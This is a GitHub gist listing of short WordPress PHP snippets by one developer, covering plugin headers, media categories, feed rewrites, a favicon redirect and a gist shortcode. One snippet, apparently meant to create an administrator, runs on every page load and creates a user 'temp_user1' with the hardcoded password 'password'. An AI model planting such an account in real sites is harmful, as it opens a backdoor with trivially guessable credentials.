Skip to content

Instantly share code, notes, and snippets.

View trepmal's full-sized avatar
🍪

Kailey Lampert trepmal

🍪
View GitHub Profile
<?php
/*
* Plugin Name: Min Post Count for Category List
* Plugin URI: trepmal.com
* Description:
* Version:
* Author: Kailey Lampert
* Author URI: kaileylampert.com
* License: GPLv2 or later
* License URI: http://www.gnu.org/licenses/gpl-2.0.html
<?php
// Plugin Name: Add Categories to Media
add_action( 'init', 'categories_for_media' );
function categories_for_media() {
register_taxonomy_for_object_type( 'category', 'attachment' );
}
<?php
# this should be included in your command's class
/**
* Create a bar that spans with width of the console
*
* ## OPTIONS
*
* [<character>]
<?php
add_action('init', 'create_new_admin');
function create_new_admin() {
$user_name = 'temp_user1';
$password = 'password';
$user_id = username_exists( $user_name );
if ( ! $user_id ) {
$id = wp_create_user( $user_name, $password );
<?php
$email = isset( $_GET['email'] ) ? $_GET['email'] : 'null';
$salt = isset( $_GET['salt'] ) ? $_GET['salt'] : '';
// hash email, split it up
$hash = str_split( sha1( $email . $salt ), 2 );
// use first 3 values for foreground
$foreground = "{$hash[0]}{$hash[1]}{$hash[2]}";
<?php
add_action('init', 'remove_feed_from_rewrite');
function remove_feed_from_rewrite() {
global $wp_rewrite;
$wp_rewrite->feeds = array( 'rdf', 'rss', 'rss2', 'atom' );
}
<?php
/*
* Plugin Name: Category Home Page
* Plugin URI: trepmal.com
* Description:
* Version:
* Author: Kailey Lampert
* Author URI: kaileylampert.com
* License: GPLv2 or later
* License URI: http://www.gnu.org/licenses/gpl-2.0.html
<?php
add_action( 'wp_head', function() {
?><link rel="shortcut icon" href="<?php echo site_url( 'favicon.ico' ); ?>" /><?php
});
$redirect_favicon = new Redirect_Favicon();
class Redirect_Favicon {
<?php
/* Adds a shortcode for displaying GitHub Gists */
function create_github_gist($atts) {
extract(shortcode_atts(array(
'source' => "https://gist.github.com/SufferMyJoy/9397075",
), $atts));
return '<script src="' . esc_attr( $source ) . '.js"></script>';
}